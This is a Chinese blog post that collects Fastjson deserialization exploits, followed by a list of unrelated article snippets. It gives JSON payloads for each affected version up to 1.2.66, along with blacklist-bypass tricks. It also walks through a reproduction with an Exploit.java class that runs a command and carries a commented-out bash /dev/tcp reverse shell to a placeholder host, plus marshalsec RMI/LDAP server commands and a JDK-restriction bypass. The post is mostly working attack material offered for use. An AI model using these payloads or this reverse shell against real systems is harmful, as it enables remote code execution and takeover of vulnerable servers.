Tide_诺言
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Fastjson反序列化漏洞利用

前言

Fastjson 是阿里巴巴的开源JSON解析库，它可以解析 JSON 格式的字符串，支持将 Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串反序列化到 JavaBean。
项目链接https://github.com/alibaba/fastjson/
本次对互联网上公开的大部分Fastjson反序列化漏洞利用进行总结，有些exp需要特殊环境的配合。

影响版本

fastjson<=1.2.24

Fastjson1.2.24版本爆出了第一个反序列化漏洞。
exp:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

fastjson<=1.2.41

第一个Fastjson反序列化漏洞爆出后，阿里在1.2.25版本设置了autoTypeSupport属性默认为false，并且增加了checkAutoType()函数，通过黑白名单的方式来防御Fastjson反序列化漏洞，因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单，fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾，是的话就提取出其中的类名再加载进来，因此在原类名头部加L，尾部加;即可绕过黑名单的同时加载类。
exp:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

autoTypeSupport属性为true才能使用。（fastjson>=1.2.25默认为false）

fastjson<=1.2.42

fastjson在1.2.42版本新增了校验机制。

if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}

如果输入类名的开头和结尾是L和;就将头和尾去掉，再进行黑名单验证。
还把黑名单的内容进行了加密，防止安全人员进行研究，增加了研究的门槛。
但是有人已在Github上跑出了大部分黑名单包类：https://github.com/LeadroyaL/fastjson-blacklist
绕过方法，在类名外部嵌套2层L;。
原类名：com.sun.rowset.JdbcRowSetImpl
绕过： LLcom.sun.rowset.JdbcRowSetImpl;;
exp：

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

autoTypeSupport属性为true才能使用。（fastjson>=1.2.25默认为false）

fastjson<=1.2.43

fastjson在1.2.43中checkAutoType()函数增加判断开头为LL直接报错。
绕过方法:根据fastjson判断函数，[开头则提取类名，且后面字符字符为"["、"{"等，即可正常调用。
exp

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

autoTypeSupport属性为true才能使用。（fastjson>=1.2.25默认为false）

fastjson<=1.2.45

前提条件：需要目标服务端存在mybatis的jar包，且版本需为3.x.x系列<3.5.0的版本。
使用黑名单绕过，org.apache.ibatis.datasource在1.2.46版本被加入了黑名单
由于在项目中使用的频率也较高，所以影响范围较大。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

autoTypeSupport属性为true才能使用。（fastjson>=1.2.25默认为false）

fastjson<=1.2.47

去年护网爆出的漏洞，对版本小于1.2.48的版本通杀，autoType为关闭状态也可使用。
loadClass中默认cache设置为true，利用分为2步执行，首先使用java.lang.Class把获取到的类缓存到mapping中，然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类，绕过了黑名单机制。
exp:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x:1098/jndi", 
        "autoCommit": true
    }
}

fastjson<=1.2.62

基于黑名单绕过

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

fastjson<=1.2.66

关于fastjson<=1.2.66网上相关的利用不多,收集到的几个exp，也是基于黑名单绕过。
exp：

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

autoTypeSupport属性为true才能使用。（fastjson>=1.2.25默认为false）

fastjson<=1.2.47漏洞复现

对fastjson<=1.2.47通杀漏洞进行复现，autoType设置为false仍能利用。

复现环境

操作系统：win7
fastjson版本：fastjson-1.2.24
服务器中间件：Apache Tomcat/8.5.0
jdk版本：8u172

基础知识

反序列化常用的两种利用方式，一种是基于rmi，一种是基于ldap。
RMI是一种行为，指的是Java远程方法调用。
JNDI是一个接口，在这个接口下会有多种目录系统服务的实现，通过名称等去找到相关的对象，并把它下载到客户端中来。
ldap指轻量级目录访问协议。
具体可参考https://xz.aliyun.com/t/7079

存在java版本限制：
基于rmi的利用方式：适用jdk版本：JDK 6u132, JDK 7u131, JDK 8u121之前。
在jdk8u122的时候，加入了反序列化白名单的机制，关闭了rmi远程加载代码。
基于ldap的利用方式：适用jdk版本：JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中，Oracle对LDAP向量设置了相同的限制，并发布了CVE-2018-3149，关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的，实战情况下推荐使用ldap方法进行利用。

环境搭建

下载war包后，放到tomcat的webapps目录下，自动部署war包。



启动tomcat服务，访问对应目录。


漏洞利用

1、首先将以下代码保存为Exploit.java（可以根据操作系统类型更改自己想要执行的命令）

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
      //Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

使用javac命令编译Exploit.java文件，生成一个Exploit.class文件

javac Exploit.java


把生成的Exploit.class文件，放到公网vps的web目录下，可以通过互联网的http服务访问到。
2、使用marshalsec启动一个RMI服务器，或者ladp服务器。
下载地址：https://github.com/mbechler/marshalsec
下载后切换到marshalsec目录下使用maven进行打包。 

mvn clean package -DskipTests

把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传到公网vps上。
可以使用RMI或者LDAP的服务，将reference result 重定向到web服务器（即文件Exploit.class的存放位置）。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Exploit" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999

实验环境的jdk版本为8u172，大于8u121小于8u191，理论上rmi无法使用，ldap可以使用。
发送exp

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x/:9999/Exploit", 
        "autoCommit": true
    }
}

rmi服务接受到了请求，但并没有执行计算器的系统命令。




使用ldap服务，进行漏洞利用。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://x.x.x.x:9999/Exploit", 
        "autoCommit": true
    }
}

成功执行了系统命令，弹出了计算器。



jdk版本限制绕过

高版本的java对jndi注入进行了限制，由于环境的不同，存在一些方法进行绕过，这里推荐下国外Michael Stepankin大牛的方法。https://www.veracode.com/blog/research/exploiting-jndi-injections-java
1、下载利用代码。
修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代码。可以修改RMI远程监听的端口，和执行的系统命令。


使用mvn打包。
打包成功后创建target目录下生成RMIServer-0.1.0.jar文件。 

mvn clean install

把生成的文件上传到公网vps上,建立一个rmi服务，Djava.rmi.server.hostname指定的是公网vps地址。

java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

使用漏洞exp请求rmi服务

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x:1098/jndi", 
        "autoCommit": true
    }
}

成功执行系统命令，弹出计算器。



绕过了java版本的rmi服务的限制。

参考链接

https://xz.aliyun.com/t/7079
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://baijiahao.baidu.com/s?id=1648108811568362514&wfr=spider&for=pc
https://cloud.tencent.com/developer/article/1553664
https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/
https://www.freebuf.com/column/231446.html
http://www.liuhaihua.cn/archives/631786.html
https://www.freebuf.com/column/207439.html
https://xz.aliyun.com/t/7264

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  • spark sql 访问hive数据的配置详解 daizj spark sqlhivethriftserver
    spark sql 能够通过thriftserver 访问hive数据，默认spark编译的版本是不支持访问hive，因为hive依赖比较多，因此打的包中不包含hive和thriftserver,因此需要自己下载源码进行编译，将hive，thriftserver打包进去才能够访问，详细配置步骤如下：   1、下载源码   2、下载Maven,并配置 此配置简单，就略过
  • HTTP 协议通信 周凡杨 javahttpclienthttp通信
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  • java unix时间戳转换 g21121 java
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  • web报表工具FineReport常用函数的用法总结（报表函数） 老A不折腾 web报表finereport总结
    说明：本次总结中，凡是以tableName或viewName作为参数因子的。函数在调用的时候均按照先从私有数据源中查找，然后再从公有数据源中查找的顺序。   CLASS CLASS(object):返回object对象的所属的类。   CNMONEY CNMONEY(number,unit)返回人民币大写。 number:需要转换的数值型的数。 unit:单位，
  • java jni调用c++ 代码 报错 墙头上一根草 javaC++jni
    # # A fatal error has been detected by the Java Runtime Environment: # #  EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00000000777c3290, pid=5632, tid=6656 # # JRE version: Java(TM) SE Ru
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  • linux shell ls脚本样例 annan211 linuxlinux ls源码linux 源码
    #! /bin/sh - #查找输入文件的路径 #在查找路径下寻找一个或多个原始文件或文件模式 # 查找路径由特定的环境变量所定义 #标准输出所产生的结果 通常是查找路径下找到的每个文件的第一个实体的完整路径 # 或是filename :not found 的标准错误输出。 #如果文件没有找到 则退出码为0 #否则 即为找不到的文件个数 #语法 pathfind [--
  • List,Set,Map遍历方式 (收集的资源,值得看一下) 百合不是茶 listsetMap遍历方式
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  • 解决SimpleDateFormat的线程不安全问题的方法 bijian1013 javathread线程安全
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  • http请求测试实例（采用fastjson解析） bijian1013 http测试
            在实际开发中，我们经常会去做http请求的开发，下面则是如何请求的单元测试小实例，仅供参考。 import java.util.HashMap; import java.util.Map; import org.apache.commons.httpclient.HttpClient; import
  • 【RPC框架Hessian三】Hessian 异常处理 bit1129 hessian
    RPC异常处理概述   RPC异常处理指是，当客户端调用远端的服务，如果服务执行过程中发生异常，这个异常能否序列到客户端？   如果服务在执行过程中可能发生异常，那么在服务接口的声明中，就该声明该接口可能抛出的异常。   在Hessian中，服务器端发生异常，可以将异常信息从服务器端序列化到客户端，因为Exception本身是实现了Serializable的
  • 【日志分析】日志分析工具 bit1129 日志分析
    1. 网站日志实时分析工具 GoAccess http://www.vpsee.com/2014/02/a-real-time-web-log-analyzer-goaccess/ 2. 通过日志监控并收集 Java 应用程序性能数据(Perf4J) http://www.ibm.com/developerworks/cn/java/j-lo-logforperf/ 3.log.io 和
  • nginx优化加强战斗力及遇到的坑解决 ronin47 nginx 优化
    　　　先说遇到个坑，第一个是负载问题，这个问题与架构有关，由于我设计架构多了两层，结果导致会话负载只转向一个。解决这样的问题思路有两个：一是改变负载策略，二是更改架构设计。 　　　由于采用动静分离部署，而nginx又设计了静态，结果客户端去读nginx静态，访问量上来，页面加载很慢。解决：二者留其一。最好是保留apache服务器。   　　　来以下优化：   　　　
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    思路来自： http://zhedahht.blog.163.com/blog/static/25411174201011445550396/ import ljn.help.*; public class HasSubtree { /**Q50. * 输入两棵二叉树A和B，判断树B是不是A的子结构。 例如，下图中的两棵树A和B，由于A中有一部分子树的结构和B是一
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    现在假定你有两个目录，一个存在于 /htdocs/a，另一个存在于 /htdocs/b 。 现在你想要在本地测试的时候访问 www.freeman.com 对应的目录是 /xampp/htdocs/freeman ,访问 www.duchengjiu.com 对应的目录是 /htdocs/duchengjiu。 1、首先修改C盘WINDOWS\system32\drivers\etc目录下的
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    当你启动 nodejs服务报错： >node app Express server listening on port 80 events.js:85 throw er; // Unhandled 'error' event ^ Error: listen EADDRINUSE at exports._errnoException (
  • C++中三种new的用法 _荆棘鸟_ C++new
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